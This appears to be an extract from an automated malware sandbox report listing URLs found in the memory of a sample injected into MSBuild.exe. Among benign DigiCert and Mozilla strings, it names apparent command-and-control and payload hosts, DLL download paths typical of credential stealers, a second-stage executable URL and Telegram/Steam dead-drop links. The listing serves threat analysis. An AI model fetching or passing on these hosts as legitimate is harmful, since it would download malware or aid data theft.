Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.EBFIIECAKFHI
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.CAKFHI
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/S
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgCFH
Source: f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orga535a6c5ent-Disposition:
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgare.com:80
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoECAKFHI
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/freebl3.dll
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/freebl3.dllg
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/mozglue.dll
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/mozglue.dllC
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/msvcp140.dll
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/msvcp140.dll2
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/nss3.dll
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/nss3.dllZ_
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/softokn3.dllO
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/softokn3.dllb
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/sql.dll
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/vcruntime140.dll
Source: f1r6P3j3g7.exe, f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80/sql.dll
Source: f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80nfwqnfwovfdkhttps://steamcommunity.com/profiles/76561199780418869u5
Source: MSBuild.exe, 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80t-Disposition:
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe-
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe1kkkk
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe=
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000003.00000002.2188526414.000000001D69D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.3.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: ECGIII.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: ECGIII.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ECGIII.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ECGIII.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: ECGIII.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ECGIII.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ECGIII.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 0000000B.00000002.2205846539.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/api
Source: MSBuild.exe, 0000000B.00000002.2205846539.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/apiwDVP
Source: JKECFC.3.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://mozilla.org0/
Source: f1r6P3j3g7.exe, f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: HJEHIJ.3.dr	String found in binary or memory: https://support.mozilla.org
Source: HJEHIJ.3.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HJEHIJ.3.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: MSBuild.exe, 00000003.00000002.2181758591.00000000173BA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp, GIIEGH.3.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: GIIEGH.3.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: MSBuild.exe, 00000003.00000002.2181758591.00000000173BA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp, GIIEGH.3.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: GIIEGH.3.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: f1r6P3j3g7.exe, f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.
Source: MSBuild.exe, 0000000B.00000002.2205846539.0000000001196000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wickedneatr.sbs/api
Source: MSBuild.exe, 0000000B.00000002.2205846539.0000000001153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wickedneatr.sbs/cDWE
Source: MSBuild.exe, 0000000B.00000002.2205846539.0000000001173000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wickedneatr.sbs/pi
Source: MSBuild.exe, 0000000B.00000002.2205846539.0000000001186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wickedneatr.sbs:443/api
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: ECGIII.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
